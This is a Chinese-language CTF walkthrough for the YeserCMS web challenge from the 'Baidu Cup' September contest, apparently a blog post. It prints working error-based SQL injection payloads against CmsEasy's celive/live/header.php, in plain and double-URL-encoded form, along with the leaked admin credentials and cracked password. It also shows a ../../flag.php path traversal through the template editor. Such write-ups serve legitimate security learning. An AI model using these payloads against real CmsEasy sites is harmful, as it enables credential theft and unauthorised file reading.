CTF || 【“百度杯”CTF比赛 九月场 Web】YeserCMS

【“百度杯”CTF比赛 九月场 Web】YeserCMS
题目内容:新的CMS系统,帮忙测测是否有漏洞。tips:flag在网站根目录下的flag.php中
分值:50分 类型:Web

SQL注入、任意文件下载漏洞

点击文档下载,评论区看到cmseasy。


image.png

搜索cmseasy公开漏洞,可以查到许多通用漏洞
https://www.seebug.org/appdir/CmsEasy
使用无限制报错注入
https://www.seebug.org/vuldb/ssvid-94084

celive/live/header.php同时postdataxajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
用burpsuite抓包,发现postdata的数据被截断了,只显示xajax=Postdata&xajaxargs%5B0%5D=%3Cxjxquery%3E%3Cq%3Edetail,send to repeater,将这一部分替换为detail参数的部分用urlencode编码2次的数据(只用编码detail参数,xajax=Postdata&xajaxargs[0]=<xjxquery><q>和</q></xjxquery>不变),即xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Csubstring%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528username%252Cpassword%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>,go,可以看到返回

XPATH syntax error: '[adminff512d4240cbbdeafada404677'<br /><br />INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--  (2018-08-13 15:52:38)','2')

得到用户名和密码adminff512d4240cbbdeafada404677
XPATH syntax error可以显示32位,其中[固定占以为。md5的长度也不够,还是需要调整1,32为7,39,来查看完整的md5
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252c(UpdateXML(1%252cCONCAT(0x5b%252csubstring((SELECT%252f**%252fGROUP_CONCAT(username%252cpassword)%2bfrom%2byesercms_user)%252c7%252c39)%252c0x5d)%252c1))%252cNULL%252cNULL%252cNULL%252cNULL%252cNULL%252cNULL)--%2b</q></xjxquery>
repeater返回

XPATH syntax error: '[f512d4240cbbdeafada404677ccbe61'<br /><br />INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),7,39),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--  (2018-08-13 16:22:21)','2')

用户名admin,密码ff512d4240cbbdeafada404677ccbe61,md5解密为Yeser231。(抄个答案,http://www.cmd5.com/表示已查到,这是一条付费记录。请点击购买……)

登陆-管理-模版当前模版编辑-编辑,抓包,repeater,将&id=#ditu_html改为&id=../../flag.php,go,返回

{"content":"<textarea rows=\"20\" cols=\"78\" id=\"..\/..\/flag.php_content\" style=\"font-family: Fixedsys,verdana,宋体; font-size: 12px;\" name=\"..\/..\/flag.php_content\"><?php\necho 'flag is here';\n'flag{6a92aba5-a8f2-4147-ac14-79dc32fb5959}';\n<\/textarea>"}

得到flag。

关于无限制报错注入https://www.seebug.org/vuldb/ssvid-94084的分析
其中payload的引号内部分经过两次URLdecode后为
detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- 获取用户名|密码
xxxxxx'闭合参数。
0x5b是十六进制,5b对应[,5d对应]。
concat(username,'|',password)是username|password
GROUP_CONCAT(concat(username,'|',password))是username|password,sername|password,……
SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user 其中/**/是注释,/*+ 提示 */ 来进行sql优化,如果写的HINTS语法错误,也就被忽略为注释了,sql并不会报错。Oracle Hints是一种机制,用来告诉优化器按照我们的告诉它的方式生成执行计划。从cmseasy_user中找出username和password。
mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32)从第一个开始,选32个
为什么有两次URLdecode?因为有两次URLencode,一次是parse_str(sQuery,aArray),这个函数,本身会对url编码进行一次decode;另一次是hackbar的postdata要编码,url为什么要编码

参考
https://blog.csdn.net/qq_19876131/article/details/52432140
https://blog.csdn.net/qq_31481187/article/details/52602454
https://bbs.ichunqiu.com/thread-17629-1-1.html?from=hot6
http://www.bubuko.com/infodetail-2562477.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • ORACLE自学教程 --create tabletestone ( id number, --序号usernam...
    落叶寂聊阅读 1,121评论 0 0
  • 2018/3/16 17:34:51 WEB题 1.签到题 题目:key在哪里? writeup:查看源代码即可获...
    Sec小玖阅读 22,436评论 1 11
  • 1. Java基础部分 基础部分的顺序:基本语法,类相关的语法,内部类的语法,继承相关的语法,异常的语法,线程的语...
    子非鱼_t_阅读 31,767评论 18 399
  • 2、顺口能编出一首歌来唱给妈妈听。是一个有创造力的孩子。 3、自己趴在枕头上哭了起来,妈妈问她为什么?她说妈妈不爱...
    银小娟阅读 80评论 0 0
  • 文/梅子花开 听说小外甥女用刀子割自己的手,双手被她自己割的伤痕累累,那一瞬间,我的心莫名地疼了一下。 小外甥女今...
    梅子花开心语阅读 497评论 2 1